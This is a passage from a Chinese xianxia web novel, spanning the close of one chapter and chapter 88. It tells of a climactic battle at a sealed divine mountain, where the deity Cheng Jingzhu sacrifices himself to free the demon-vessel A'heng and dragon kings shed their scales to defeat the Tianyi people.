“若今日天衣人挣脱封印,我等皆是三界的罪人,若果真重演坍鸿悲剧,祸及苍生,我等万死难辞其咎!” 酆水水伯咬牙切齿,一掌震开天衣人袭来的刀刃,翻身撞向云网,数枚天衣法器穿身而过,他不避不让,法器刺破他的法相,洞穿他的神躯,他身如波涛轰然投向神山,震出一片猛烈的气流,撕咬神山裂口的妖魔尽数被淹没于无形,暴雨冲开激荡的烟尘,露出那裂口上紧紧依附的一片水波。 “老乞丐你……” 慈济真君回头,胡须在风雨中乱颤。 阿姮抬手,操控黑气汹涌地撞向那裂口,薄薄一层水波不断被撞击,被撕扯,一位女仙身化彩练钻出云网,被天衣法器撕裂身躯,却身化五彩霞光垂落于神山裂口之间,女仙始终无言,其他诸神亦无话,数名神仙接二连三冲出云网去,哪怕被天衣法器洞穿法相亦身化霞光投落神山。 法相受损,即便大大折损了法力,却无损他们的精纯清气,而他们的精纯清气是弥合封印裂口最好的东西。 “慈济啊慈济,你说他们是何苦呢?什么罪人不罪人的,”青峨不禁发笑,“要我说,你们既从凡人成神,便也算得一等一的强者,弱肉强食,物竞天择,才是世间唯一法则,身为强者,又何必怜悯弱者?” 说着,青峨轻抬下巴,示意:“你看。” 慈济真君立于云网之中,下视地面憧憧人影,汹涌的黑气中竟然掺杂浑浊的色彩,他凝神细观,只见那些颜色竟是从凡人们的胸口钻出来的东西。 “贪婪,嗔怒,愚痴,怨憎,嫉妒,无不是凡人恶欲,慈济,你们这些凡人成就的神自诩为圣,可摒除一切尘杂,不为外物所动,可这些凡人呢?”青峨的声音很轻,却响彻整片天地,“恶欲有五色,你看啊,他们口口声声除魔卫道,心中却皆有魔障啊。” 火种本有祸人心智的力量,青峨不过心念一动,阿姮便自然将那些时时刻刻纠缠在她耳边的声音放出去,落到每一个人的耳边,化成他们各自熟悉的,在乎的声音。 从他们胸口处浮现的浑浊色彩无异于粗暴地将他们各自深藏内心的阴暗角落撕扯出来,暴露于阳光之下,有些年纪轻的弟子面露羞惭,顿时神志受损,大吐鲜血。 “守住心神,切勿动摇!” 阳钧弹指化出数道药箓,打入众人心口,可面对火种致幻的强大力量,药箓无济于事,众人根本听不清他的声音,他们已深陷各自阴暗的,隐秘的欲望之中。 积玉双目紧闭,仿佛厮杀与雨声俱去,唯有风声呼啸,冷冷刮过他的脸颊,朦胧中,他发现自己置身云端,脚下是他的金剑,风声裹着抽泣声从身后来,他一下回过头,只见剑尾霖娘正抱着一人。 那人正是柳行云,他胸口有一个血洞,正汩汩地涌血,霖娘轻声抽泣,他轻声安慰:“别哭了,我死不了。” 他轻抚霖娘的发,那双眼睛缓缓抬起,盯住霖娘身后的积玉,那样一张温润清隽的面庞竟露出一分阴冷笑意。 他明明没有说话,可积玉的脑海里却响起一个声音:“他真是命大,对吗?明明他早该是个死人,若他不再出现,霖娘迟早会忘了他,可如今,他们却当着你的面再续前缘了……明明这一路来,你和她是最好的伙伴,不如杀了这个柳行云吧,没有了他,你才有机会走近她……不是吗?” 风雾漫漫,积玉涣散的目光缓缓扫过霖娘的背影,再度对上那柳行云的目光,只见他泛白的唇微微一扯:“告诉我,你想杀我么?” “杀你……”积玉声音迟缓,“做什么?” “你不喜欢霖娘吗?” 柳行云抚摸着霖娘的发,问他。 积玉摇头:“不喜欢。” 柳行云神情一滞:“你竟然……不喜欢她?那你究竟喜欢谁?” “我么?” 积玉仿佛在费力地思索,他的语速极缓,像毫不设防的倾吐:“我自然是喜欢——我的剑!” 他一跃而起,金剑化成金光又转瞬凝聚于他手中,剑锋直指流行云那双阴冷的眼,凛风呼啸着,金光自剑锋铮然散出,笔直端正的剑意劈向那对相拥的男女:“妖孽!休想惑我心智!” 锐利的剑意劈开幻境,一切烟消云散,暴雨,浊烟,尽在眼前,那剑意横冲直撞,无形之间在积玉身上划出数道血口子,青峨在云端颇为意外:“竟是我猜错了?” “积玉!” 阳钧见积玉浑身血痕,跪倒在地,喊道。 积玉勉强擦了擦嘴边的血,怎么擦也擦不完,他索性不擦了,剑锋扎入地面,他借力摇摇晃晃地站起来,对阳钧摇了摇头:“师父,我没,没事……” 青峨高高在上,审视着那名为积玉的青年,他身上虽有五色,却十分淡薄,几近于无,火种也摸不准他真正的欲望,青峨有意试他一试,却不想,他对那霖娘竟真的全无男女之情。 他方才那剑意笔直得不得了,这竟然真是个满脑子除魔卫道,别无他念的凡人。 这种人的心念与他的剑意一样笔直,不会转弯,俗称天生少根筋,因为少根筋,所以认死理,走的也是一条自始至终绝不转弯的路,可这种天生少根筋的人……实在是太少了,青峨借以手背玉片扫视四周,浑浊的色彩弥漫,她冷冷一笑:“心有魔障,难以自除,多么可笑的凡人,你们也配说自己是所谓正道吗?” 上清紫霄宫三殿殿师阳钧、守朴、元一同时施法化出一个法阵,法阵旋转升空,三人各自站住一个阵眼,稳住下盘输送法力,法阵中顿时金光流转,使法阵顷刻扩大,挡住浓云暴雨中不断下压的黑气,妖魔不死心地盘桓,法阵中的金光好似无数双冰冷的眼睛,锁定他们的身影顿化利刃,铮然而动,劈邪斩恶,血流成河。 “诸位!七情六欲乃人之常情,我等若真能撇去其中恶欲,那还修什么心,成什么道?早上十二金阙成圣成神去了!” 阳钧目光如炬,声似洪钟:“凡人各有所欲,我们修行,求道,不正是为了克制心中之恶么?纵有恶欲,而无恶行,你我根本不必有愧,亦不必有耻!来啊,都清醒些,明明行止无愧却自惭而死是会被人笑话的!” “诸位同门!快快醒来!” 元一沉声大喝。 上清紫霄宫三殿弟子几乎同时听清殿师的呼唤,他们挣脱迷障的刹那,残留在他们心中的黑气顿时在他们身上炸开数枚血洞,他们睁眼望见头顶法阵,齐齐稳住身形,各自站住一方位,施法加入法阵。 黑气被法阵抵开,余下一众玄门人终于挣脱幻象,纵然身躯被黑气洞穿,他们亦不敢倒下,一个接一个地施法入阵,对抗黑气。 “这怎么可能……”青峨瘦削的脸上难掩错愕,明明所有的魔障都是这些凡人心中最真实的恶欲所化,却竟然没有将他们困死其中? 守朴一声令下,相微殿弟子齐齐念咒:“道法天象,万物恒通,机窍无形,化!” 相微殿众弟子怀中金光飞旋而出,化成一枚又一枚的法器,冲向半空中散发紫火的天衣法器,试图撞乱天衣法器所形成的法阵。 “雕虫小技。” 青峨一挥袖,一枚向她袭来的金光法器应声而碎,她回过头,只见那些神仙先后跃入神山,以身弥合封印,神山之下天衣同族的声息她此时已经无法听清,青峨稚气惨白的脸阴郁极了,她一声令下,数名天衣人跃下云端,连带着无数妖魔冲向那金光法阵,法阵发出刺耳的冰裂之声,底下阳钧与众人仿佛身负千钧,膝盖皆忍不住颤抖弯曲。 此时,青峨望向阿姮,命令道:“去,用你的身躯撞碎那座神山,不论付出什么代价,你都要将那些神仙的真身撞个粉碎,要他们神魂尽陨!” 符纹悄无声息缠紧阿姮的真身,她顿时身化红雾,浩浩荡荡扑向那座巍峨的神山,四海龙王身如山岳,迎着暴雨盘桓于神山周围,向着铺天盖地袭来的红雾发出声声龙吟,天地之间,金振玉响。 风中的炁急促地与红雾相纠缠,一根银尾法绳穿行风雨,珠饰碰出点点清音,不断敲击在阿姮的耳侧,青峨敏锐地发觉红雾短暂的凝滞,她手背玉片一转,映出那个被天衣法器围困的黑衣少年的身影,青峨挥袖,数枚法器幻化为一柄利刃,直逼少年胸口。 少年召回法绳缠住利刃,珠饰凌乱地响,此时,朝那神山,朝那四海龙王巨大的身躯弥漫而去的红雾中,阿姮突兀地向身后投以目光,利刃分化成数道冰冷的道光势如破竹地刮过那少年的身躯,风中,是他无比芳香的血气。 “小师叔!” 积玉在地面,得见如此一幕,却被天衣人的攻势压得难以动弹。 此时慈济真君被黑云阻隔,亦难以越过天衣法器所形成的法阵,风中的炁与刀光剑影碰撞,搅得风雨纷乱,阿姮的身躯仍在不受控地向神山而去,可她的目光却死死粘在那黑衣少年身上,符纹将她的真身绞得千疮百孔,无尽的杂声如潮水冲击着她的耳,要她不顾一切地完成她应尽的使命。 颈间却始终有个东西滚烫极了,忽然,一道清越的女声响彻她的脑海:“意识是无形的,青峨可以控制你的真身,却无法真正控制你的意识,何况你有血肉,有本心,阿姮,你清醒些,本心,是比本能更重要的东西。” 阿姮听到胸腔里有个声音,冷冽的刀光一寸寸剐过那少年的身躯,她的鼻息不由自主地捕捉着风雨中那股芳香的血气,群妖也因这血气而癫狂,他们发了疯似的冲向那少年,迫不及待地要蚕食他的血肉,吞噬他的神魂。 不…… 不可以! 符纹紧紧绞着她的真身,红雾不断向神山漫去,她的胸腔里那个声音更急更重得砸在她的耳边,不过瞬息,她的眼前浮现过很多东西,天衣人炼器师的脸,昏暗石窟中一簇又一簇的金絮草,满炉天衣混血的血肉,她被粉碎的身躯,被撕扯的神魂。 神山幽隙中的十年,黑水河中的百年。 她曾取得一副名唤霖娘的皮囊,也曾去到一个热闹的人世,有人赠她躯壳,与她并肩……那个声音响彻她的耳膜。 她淡薄的意识凝聚起来,意识到,那是她的心跳。 群妖疯狂地涌向那少年,阿姮的眼中几乎映不出他的影子,她的心脏鼓动,浑身血脉仿佛逆行,麻木的唇舌发不出一丝声音,她连开口说话也不被允许。 四海龙王铁了心要以身作障,眼见漫漫红雾声势浩大向神山而来,他们环绕盘桓,发出龙啸的刹那,却见红雾骤然收拢,金色的电光在其中隐隐作响,向相反的方向飞浮而去。 这一瞬,天上地下所有人都看见那缠裹金电的红雾漫向群妖,轰然爆裂,炸开一片惨声,乌云一般的妖魔融化成浓浓血雨,席卷天地。 黑衣少年坠下云端,那红雾凝成少女的身形,将他接住,落到地上,程净竹缓缓抬起眼帘,望向她的脸,裂痕蜿蜒在他的脸颊,混合熔岩般的金色与血液从蛛网般的裂痕中浸出,蔓延过他的颈项,皮开肉绽的闷响几乎被剧烈的风雨掩盖。 阿姮眼睑、耳心都浸满了血,她眼睫颤了一下,雨珠滚过她的眼睑,将血色冲刷干净,她看清他的刹那,视线又骤然模糊,她嘴唇翕动:“小……神仙?” 为什么? 为什么他这么好看的壳子会破成这样? 一滴湿润落在程净竹的手背,嵌进他血红的伤口里,温热的刺痛,不是雨水,而是她的眼泪,阿姮皮肉底下的金电分缕明晰,它们一寸寸地游走在她体内,听从她的命令,不顾一切地冲击着束缚她真身的天衣符纹,她艰难地张口:“我去取神骨。” 简单几字,无异于对天衣符纹的悖逆,铺天盖地的惩罚穿透她的真身,她颤抖着将涌到喉咙的血咽下。 程净竹伸手,指节屈起的瞬间,手背单薄的皮肤又崩开几道血色的裂口,他毫不在乎,手指触碰她的脸颊:“疼不疼?” 阿姮鼻尖酸透了,她僵硬地挪动自己的脖颈,摇头。 程净竹的声音几乎被满口的血腥浸得沙哑极了:“酆水水伯一众同僚已化成重重封印,你若取回我的神骨,便会让他们所做的一切白费,天衣人若重新出世,只会带来新的战火,新的争端。” “我不管那些!” 金电冲撞着符纹,她浑身血肉俱颤,一双暗红的眸子那么湿润,她盯着他:“我才不管他们的死活!他们与我无关,苍生与我无关!” 程净竹轻轻叹了口气,雨水浸湿他鬓边的乱发,如珠而落:“阿姮,我早已是强弩之末,在松南岭那间客栈中我强行抵抗反噬,才得以恢复神志,自那时起,一切都已注定。” “你骗我?你从那个时候开始就在骗我!” 阿姮愤怒极了,想抓他的手,目光触及他手上交错的裂痕,她顿住了:“没关系,没关系……只要有了神骨,你会没事的……” 程净竹握住她的手,摇头:“若你执意毁去神山,破开封印,你便会因此而彻底失去你的壳子,你的神魂。” 阿姮可以凭她火种之力毁灭化身封印的神仙,而神仙的道心,亦可使阿姮躯壳与神魂全部荡然无存,届时,她的真身虽能凭火种之力得以保全,却也使她从此真的便只能是一柄冷冰冰的天衣法器了。 剧烈的雷声轰隆炸响,浑浊的雨雾铺天盖地,阿姮从未如此无助过,她不知自己究竟怎样做才是对的,她不知道自己应该怎样才不后悔。 “那你怎么办?” 阿姮望着他,颤声:“小神仙,你要我怎么办?” 预想中的神山倾颓,封印尽损并未到来,青峨实在难以置信阿姮竟然在紧要关头挣开了天衣符纹,脱离了她的控制,她一挥袖,幽冷的紫火在掌中聚起,残存于阿姮体内的符纹从她混沌真身钻过她的血肉,却被化成经络的金电绞碎,青峨脸色阴沉,当机立断,指节用力,阿姮胸腔里的火种顿时沸腾。 阿姮顿时身躯僵硬,如同血肉剥离般的灭顶剧痛席卷而来,她耳心鲜血更涌,痛得她忍不住大声尖叫。 远处,霖娘听见她痛苦的尖叫,她却在金光法阵之下动弹不得,只得回头哭着喊:“阿姮……” 程净竹扬手,法绳飞向青峨,却被黑炻一刀挡开,两枚火种刹那间被强行剥离出阿姮的身体,她无力地倒在程净竹怀里,背后一片血肉模糊。 那是火种对她这个绝好容器的依恋,恋恋不舍到噬咬她的血肉也不肯离开她的身体,然而青峨还是将它们剥离出去。 火种落入青峨手里,自她掌心钻入她的体内,她的脸上,身上顿时显现诸多伤痕,她全然不在乎,她却在火种的气息中察觉到了什么,她盯住地上那少女,难掩震惊:“你这东西非但长了血肉,竟还……长了颗心?” 难怪,难怪她那么不听话,难怪她可以保持神志,甚至挣脱天衣符纹的控制! 不止是一颗心脏那么简单。 人类的情志,是由心生的,阿姮是天生的妖邪,她即便生心,也生的是妖心,妖与人不同,天生少情志,多欲望,这样的妖心,是很容易被火种引诱的,正如青峨的这些妖邪信徒一般。 可阿姮的这颗心,竟然更像一颗人心! 青峨抬手对准阿姮的后心,此时,慈济真君突破重重黑云,漫漫霞光扑向青峨而去,黑炻被霞光灼伤,摔去地面。 阿姮痛得发抖,风雨那样冰冷,她缓缓抓住程净竹的衣袖,鼻息中都是他身上的血气混合青蘅草的香味,她仿佛不那么的痛了,他抱着她缓慢地坐起身,她凌乱的呼吸擦过他的衣襟,声音那么轻:“小神仙,你信我吗?” “信。” 他扶住她的肩,垂眸与她相视。 阿姮扯唇想笑,可是太痛了,痛得她脸颊的肌肉颤动到无法自控,她望着他漂亮的眼睛,说:“把你的火种给我,好不好?” “好。” 程净竹银灰色的长发湿润散乱在肩背,他并指结出金印,刹那间,环绕镇坛木的两枚火种自他胸口显现。 他双指往前一推,镇坛木与两枚火种顷刻进入阿姮体内。 阿姮指节紧紧攥住他的衣袖,火种入她胸腔,发出兴奋的尖啸,那声音震得她耳里又流出血来,程净竹的指腹轻轻擦过她的耳垂,说:“有镇坛木在,青峨便无法强行取出你体内的火种。” 阿姮眼皮颤动,望向他。 天地昏昏,冷冽的电光短暂照亮他的眼睛,他脸颊的裂口越来越大,血红与金色融成一片狰狞的伤痕,他的声音近在咫尺: “我曾经很生你的气,因为你不明白承诺的意义,虽然我知道,我们之间,必定有一个人会失约,可在神山幽隙中的那十年,我一直以为那个人应该是我。” 阿姮紧攥指节,绞紧他的衣袖。 “我从前总画明光印,我期望父亲有朝一日来救我脱离痛苦,回到上界,可时间一长,我却开始怀疑,我怀疑父亲养育我,便是为了有朝一日利用我,让我成为神山上的封印,与那座山年深日久地长在一起,便是他给我的使命,我也有过怨恨,我不知道自己为什么要为我从未见过的苍生而奉上我的生命,我的一切……我明明早已接受这必死的命运,阿姮,那个时候,你应该自己走的,这世上没有人可以替你自由。” “你……因为这个生我的气?” 阿姮喉咙发紧,哽咽:“我要是不那么做,你早就死了,你知不知道?这个世上……不会再有你了,你会魂飞魄散,永远消失!” 程净竹眼睛微微一弯,无尽的风雨吹拂而过:“我知道。” “可我……可我不要你消失,小神仙,我不能自私一点吗?”她望着他,期盼似的问,“我不能做一个坏人吗?” “你并不想做坏人,不是吗?” “谁说的!我本来就坏,我是天生的妖邪,是天上地下万中无一的坏妖!” 程净竹对上她倔强的目光,他一言不发,片刻,俯身将她抱进怀里,阿姮根本不敢动弹,生怕他的皮囊因此而破损得更狠,可他却将她抱得很紧,下巴抵在她的肩,呼吸是那么的微不可闻:“你很好,一直很好,神山幽隙中,是你十年如一日的坚持,对自由的执着,令那个早已接受必死命运的我,不禁渴望活下去……” 活下去,见苍生,活下去,不失约。 “我在人间很多年,一直在等一个回到这里的机会,我不知道那些年你都经历了什么,我怕你不见,怕我来得太迟……直到黑水村中再见,纵然你以一副陌生的皮囊站在我面前,纵然你早已忘记我,我亦知道,那是你。” “你还活着,是我此生最庆幸之事。” 至今,他仍记得那日细雨沙沙,茅草檐下,淡烟黑雨,唯她春红柳绿,明媚非常,她携带一身潮湿的雨气倒在他案前,他摘下她眉心的朱砂黄符,透过那副人类的,陌生的皮囊,发现她。 泪意悄无声息地浸满他的眼睑:“父亲曾教过我,作为神明,要心怀苍生,为天下万民,四海万物,要不吝此身,我那时并不懂这些,我是先爱你……才知爱众生。” 风雨淅沥,四方纷杂,山摇地动。 阿姮僵在他怀里。 爱……我? 她满眶是泪,要坠不坠,程净竹直起身,双手捧住她的脸,苍白的唇吻过她的眼,眉心的戒痕骤然裂开,鲜红的血液流淌,朱砂印痕彻底消失。 他额头轻抵她的额头,这一瞬,阿姮颈间的宝珠迸发出剧烈的光亮,那柔和的光亮环绕她周身,阿姮听到他的声音,明明那么轻,却响彻天地: “吾以白泽之名,愿天上地下,万中无一的妖邪—— 身同日月,心无忧戚,优游终岁,自在年年。” 第88章 第88章 那是真正属于他的,白泽的神…… 明光辉映天地, 照尽昏暮,柔和的风吹散浓黑的云,流霞营营,雨声忽细, 天上地下多少双眼循光而去, 只见清莹光华中, 少男少女额头相抵,紧紧相拥。 那黑衣少年惨白的面颊裂痕犹如蛛网,鲜血混合熔岩般的金色顺瘦削的下颌而淌, 落在他的衣襟, 灼烧出一缕轻烟。 金光法阵之下, 阳钧眼瞳震颤:“师弟……” 风中, 沉稳的心跳融于潇潇风雨,落于众人耳畔, 上清紫霄宫合山殿殿师元一面色惊异:“这是……白泽祷祝?” “白泽乃祥瑞化身, 生来言出法随,这声音, ”相微殿殿师守朴施法的手指微微一动, 天机无声划过他的指尖, 他骤然转过脸看向阳钧, “这声音……是净竹师侄的神心?阳钧, 他这是以心应誓!他……” “以心应誓?”积玉被几次三番钻入法阵的天衣法器所伤,脸色煞白得不像话,嘴唇干得发裂, 他焦急地追问,“守朴师叔,什么是以心应誓?!” 守朴张张嘴, 却没有发出任何声音。 “积玉,这是他最后的祷祝。” 元一沉声说道。 最后的……祷祝?什么是最后的祷祝?积玉茫然无措地望向法阵之外,那片高洁明亮的光辉仿佛劈开阴翳,独落少女之身,清光若水,云霞灿灿,少女于环绕她的柔和光影中猛地挣脱那黑衣少年的手,仰起脸,神情骤然一滞。 他端坐不动,仿佛满地泥泞即是他的神台,银发湿润散垂,随风而动,那副清冷秀整的眉目之间开裂的血痕若一道锋利的刃,毫无预兆地刺入阿姮的心口。 他以一双干净剔透的眼望她,始终望她。 鲜血无声染红他的眼睑。 阿姮猛地伸出手去,指尖将要触碰到他的刹那,他的身影骤然一淡,她本能地用力去抓,却听尖锐的冰裂之声响起,他漂亮的眉目,苍白的面庞,端严的身影顷刻破碎,点点金焰轰然散开,擦过她的脸,她的发,被风吹向一个与她相背的方向。 阿姮的手僵在半空。 “小师叔!小师叔!” 积玉嘶声大喊,眼眶红透。 霖娘于风雨中回顾,只见如此一幕,声音哽在喉咙:“程公子……” 宝珠在阿姮颈间融化成一道幽蓝的印,钻入她血肉模糊的后背,好似和风细雨般漫过她千疮百孔的识海,她满身伤痕顷刻愈合,那只被她亲手斩断过的手臂也从半透明的水相化为血肉。 阿姮迟缓地摸向自己空空的颈项,新生的骨节发出一阵脆响。 “阿姮,你喜欢珠子吗?” 风雨之声似乎远去,一道稚嫩的,虚弱的声音仿佛从遥远的,深邃的幽隙中传来她的耳畔。 阿姮垂眸,眼前尽是血红泥泞,一枚破布胡乱拼凑而成的荷包静静躺在其中,雨水落在上面,滴滴答答。 “你可知这是什么?” “是我见过最漂亮的东西!” 黑水村西边的那片竹林里总有湿湿的雾气,青灰暗淡的天色底下,那少年攥着一枚破布荷包,转身避开她笑盈盈的目光,说:“是你找到的,便是你的了。” 耳里浸出血来,顷刻模糊了记忆中那些声音,阿姮以这只重新长出来的手臂僵硬地捡起泥污中的荷包。 她曾得到霖娘的皮囊,她曾迫切想要填补那副皮囊胸口的血洞。 她曾是那么想要得到他的心脏。 扎透十指缝出这丑荷包给他,从赤戎到外面一路紧紧跟随他,她曾在许多个瞬间暗暗算计过要如何破开他的胸膛,取出他的心脏,以成全她自己对人类五感的贪婪。 他是那么的冷漠,那么的无情。 他永远不会心甘情愿地献给她一颗血肉之心。 可她什么都忘了。 她忘了在很久以前,他曾赠给她一样东西,那样东西曾与她近在咫尺的自由一同丢失,在漫长的岁月里,使包裹它,埋没它的泥淖成形,化妖。 最终,又落回她的手里,成为她的战利品。 她什么都不知道。 怪他吝啬,怪他无情。 她不知道他那副人类的皮囊其实不属于他,他胸腔里那颗血肉心脏也并不是他的东西,他寄居人间多年,那里从来没有什么是属于他的。 她不知道, 百余年前,神山幽隙,彼此相依,茕茕相顾。 他早已奉上真心。 那是真正属于他的,白泽的神心。 阿姮抬起脸,纷飞的金焰灼花她的眼,滚烫的泪意积满她的眼眶,她紧紧攥住荷包,回身去抓那些飞散的金光:“回来……小神仙你回来!” 碎光穿过她指间,阿姮无措地绷紧指节,风卷着她的衣袖飞扬,连绵的雨湿润她的脸颊,闪电的冷光映照她脸上那副前所未有的恐惧: “不要消失……我不要你消失……” 金光若缕,阿姮以泪眼相望,那片散碎的光影投落神山,裸露于山体之间的晶莹神骨散发光华,又转瞬消散。 慈济真君袖挽流霞抵开青峨的攻势,回首只见碎光散尽,他花白的胡须被冷风吹得凌乱,干涩的喉咙挤出一声:“果真是个……逆徒。” 此时,青峨扬手,紫火如倾,慈济真君被滚烫的气流穿透肩胛,被剧烈的惯性牵扯,落入黑云之中,天衣法器森冷的机括转动,数道尖锥交错而来,将他束缚其中。 青峨自云端下视那跪坐于泥泞中的少女,抬手施法,冰冷的紫芒袭向少女后背,幽蓝的咒印顷刻浮现,紫芒触之即散。 青峨面色一沉。 她竟无法取出阿姮体内的火种。 天地之间厮杀未止,风雨又盛,阿姮一手撑在泥污中,她侧过脸,雨珠融于她的眼睫,那根银尾法绳盘桓在她身侧,震颤着,珠饰不断碰撞出阵阵清音,每一声,都仿佛是它失去主人的哀鸣。 阿姮回过头,望向乱云墨雨之间那少女,四目相视的刹那,彼此的厌恶,杀气统统溢出眼底。 阿姮猛然攥住法绳,飞身跃入云端,法绳劈开浓云,划开破口,慈济真君趁机从中一跃而出,与此同时,阿姮身化红雾,刹那凝聚在青峨身后,法绳绽开锋利的银鳞,劈向青峨,青峨敏锐地避开,却迎面撞上慈济真君的霞光。 那黑炻冲上来,挡下那道巨大的威压,却被巨大的冲击力碾碎血肉皮囊,紫目神窍从血肉中剥脱而出,仍尽心竭力地护在青峨左右。 地上天衣大长老一声令下,天衣人与妖魔的攻势更加猛烈,数名天衣人身化法器,勾连成神秘繁复的法阵压向金光法阵,冰裂之声炸开,数名上清紫霄宫弟子齐齐吐血,其他玄门中人怀中本命师刀疯狂震颤,震得他们胸骨尽裂,倒在阵眼之间,这一瞬,金光法阵被天衣法器破开一角,弥漫的黑气混合妖魔贪婪的尖啸朝众人压来。 多少人倒下去,多少妖魔血肉横飞,风中飞散的清气与浊气胡乱碰撞,搅得天地之间暴雨更重,山倒水倾。 金光法阵应声碎裂的刹那,剧烈的风雨刮过积玉煞白的面颊,他猛然抓出怀中的一枚东西抛出去,俯冲在前的一名天衣人毫无防备,那枚青色的,剔透的东西刹那穿透他的胸腔,精准地抵入他的紫目神窍。 刹那间,机窍不再转动。 积玉手持金剑一跃而起劈向那天衣人,天衣人一刀接下他的剑刃,展开无比锋锐的攻势,积玉逐渐不敌,刀锋眼看刺向积玉胸口,雪白的拂尘丝缕缠绕住积玉的腰身,将他往后一拽,正是此时,积玉抛出金剑,手掐金印,拂尘缠住那天衣人的四肢,刹那间,金剑刺入天衣人破损的胸膛,剑锋抵入神窍,发出裂响。 天衣人浑身一僵。 积玉撤出剑来,血红飞溅。 天衣人那双幽绿的眼睛望向自己的胸口,透过血洞,他看到深深嵌入自己神窍中的那枚鳞片。 他的神窍因这枚鳞片而不再转动,而不再转动的神窍根本无法抵挡这穿透胸膛的一剑。 他眼中最先闪过错愕,不敢置信,然后化为深深的惊恐,那么的愤怒不甘。 紫目神窍顷刻与他的血肉之躯一同爆裂,连带着他的神魂也粉碎无痕。 此时,霖娘正以水练死死缠住几只妖怪,忽然,她衣襟中浮出一片青色的鳞,她的视线顷刻追随那鳞片而去,鳞片如有神志,骤然穿透一名朝她袭来的天衣人的胸膛,瞬息之间,众人抓住这机会,齐齐出手,无数法宝刺入那天衣人的胸膛,一霎间,那天衣人的紫目神窍与身躯炸成一片血红的雨。 那是东海公主赠予他们几人的龙鳞。 龙鳞是世间至坚之物,亦象征龙族至坚的意志。 龙公主虽死,她诛祟除恶,护佑朋友的神志却始终存于她的龙鳞之中。 天衣人的攻势忽然迟滞,他们向来绝对自信,因为天衣神王赐予他们长生不灭的紫目神窍,他们不入轮回,哪怕身躯损坏,亦可借器而生,他们因此而悍勇无畏,可此时这两片龙鳞击穿了他们不死的神话,他们不受控制地开始心生恐惧。 那是对死亡的恐惧。 整片天空昏黑如瑿,阿姮与青峨相互缠斗,彼此体内散发的火种之力互相碰撞,厮杀,混乱不堪。 天衣大长老迎向风雨,厉声喝道:“尔等在怕什么?难道你们还想被压在那神山之下,永生永世不见天日?” 天衣大长老此言顿时激起所有天衣人不甘的内心,他们立即重整旗鼓,化出法器,冲入金光法阵。 法阵又碎一角,数名玄门人怀中师刀尽断,倒地不起,上清紫霄宫三殿弟子亦死伤惨重,合山殿殿师元一咽下咽喉中的血腥,强忍腕骨断裂的剧痛,施法念道:“天地之息,万法无极,成吾剑意,镇伏四方,诛尽万邪!” “天地之息,万法无极,成吾剑意,镇伏四方,诛尽万邪!” 合山殿仅剩的弟子亦随殿师而动,施法念诀,胸中化出万道剑气,擦过风雨,所过之处,妖魔血肉横飞,天衣人却毫发无损地穿过腥风血雨,法器划出寒光,削断数人脖颈。 积玉眼见霖娘深陷妖魔的包围,他抛出金剑,剑气荡开重重妖气,冲破障碍,却是此时,天衣法器降下寒光,刺穿他的手臂,他强忍剧痛,抬手结出金印,金剑立即落到霖娘脚下,在妖魔围上去之前,金剑托着霖娘迅速落到积玉身边。 霖娘勉强稳住身形,见积玉左臂血流如注,她大惊失色,立即上前扶住他:“积玉!” 药王殿弟子不断地画着药箓,苦涩的药气不断安抚着众人的伤处,但被天衣法器贯穿的伤口却不是那么轻易能治愈的,积玉强忍痛苦,一手握住金剑刺向迎面而来的妖怪。 此时,烈如箫管的龙吟忽然震彻天地。 霖娘以水练拧断一妖怪的颈项,忽然望见眼前降下散碎的莹光,或金,或蓝,或紫,晶莹剔透,正如东海之中那场青色的龙鳞雨。 众人不禁望向天际,盘桓于神山周围的四海龙王巨大的身躯不断飞散出凛冽的莹光,他们的龙吟越发哀烈痛苦,一片片龙鳞自他们的身躯不断剥落。 龙鳞刺入天衣人的胸腔,嵌入紫目神窍的机括,紫目神窍停止运转,无数天衣人面露惊恐,四海龙王失去龙鳞,血肉模糊的庞大身躯齐齐落入滔滔江水之中,他们在波涛之间发出痛苦的喘息,而此时,浓云之中仅剩的几位神仙突破天衣法器的重重限制,降下威压,他们的威压落去天衣人的血肉之躯,与此同时,地上众人奋起,索性抛开损毁的金光法阵,抄起法器,使出浑身解数,迎着天衣人而去: “杀啊!” 天衣人受龙鳞所制,紫目神窍的机括不再转动,他们再不是不死的神话,惨烈的局势骤然逆转,四海水族,玄门众人皆因龙王剥鳞而气势汹汹,他们谁也不肯辜负四海龙王剥鳞救世的苦心。 天衣人节节败退,所剩无几。 阿姮身负火种,却没有青峨身上天衣神王的神通,身体里还残存着天衣符纹,使她面对青峨总是气力不足,一朝不慎,青峨的紫火骤然勒住她的颈项,青峨用了很大的力气,紫火割开阿姮的皮肉,渗出鲜红的血,青峨在她耳边冷笑着:“你是火种最好的容器,火种在你身上比在我身上有用得多,可你是我天衣神族造出来的东西,你撕碎天衣符纹又如何?残存的符纹融在你的真身里,它绝不会容许你以下犯上。” 诚如青峨所言,无论是火种,还是残留于她混沌真身的天衣符纹,它们都在最初被天衣人规避了背叛天衣神族的可能,纵然阿姮满腔怒火,她恨不能将青峨撕碎,可她身体里的火种对青峨就是没有杀意。 她可以以火种之力轻易毁灭整个赤戎,却不能伤害任何一个天衣人。 阿姮紧紧捂着喉咙,紫火犹如钝刀,一寸一寸地折磨她的皮肉,她用尽全力,始终无法挣脱青峨的束缚,此时,天衣大长老忽然落到青峨身侧:“圣女!从神山下出来的同族折损殆尽,我们大势已去,为今之计,只有先离开这里!” 尽数折损? 青峨闻言,望向云下,果然,那些才从神山中出来的同族如今已不剩多少,就连常伴她身侧的黑炻也不知哪里去了。 唯有被她喂养恶欲的妖魔还在不要命地冲杀。 青峨忽然一笑,单薄的脸皮又开裂一寸:“离开?大长老,离开这里又去那个人间吗?我们又要在那些凡人堆里像见不得光的老鼠一样藏多久?百年?千年?到底要多久才能再等来一个机会?” “不。” 青峨敛尽笑意,面无表情:“我绝不要。四海龙王难道还能再下一场龙鳞雨么?即便没有同族在,我还有这些信徒,还有我体内的火种,我足以将这些可恶的神仙,凡人全都杀干杀净!” “火种会损毁您的身躯!”天衣大长老无比焦灼。 “那在火种撕碎我这副皮囊之前,我要先撕碎他们。” 青峨紧紧勒住阿姮,手背的玉片映照风雨之中地上攒动的人影,神情癫狂:“我是天衣圣女,是父王唯一的血脉,只有我可以光复天衣,只有我,担负得起天衣荣光!” 青峨说着,指节更加用力,却是此时,阿姮身上幽蓝的咒印乍现,被紫火勒出的伤口瞬息愈合,青峨不禁面露诧异,她任由阿姮化成红雾脱离她的掌控,却又猛然化出数枚法器,法器化出密密麻麻的寒光在阿姮周身割下一道道伤口,那些伤口却又很快弥合。 “为什么?” 青峨降下数道寒光不断穿透阿姮的身躯:“为什么我杀不死你?” 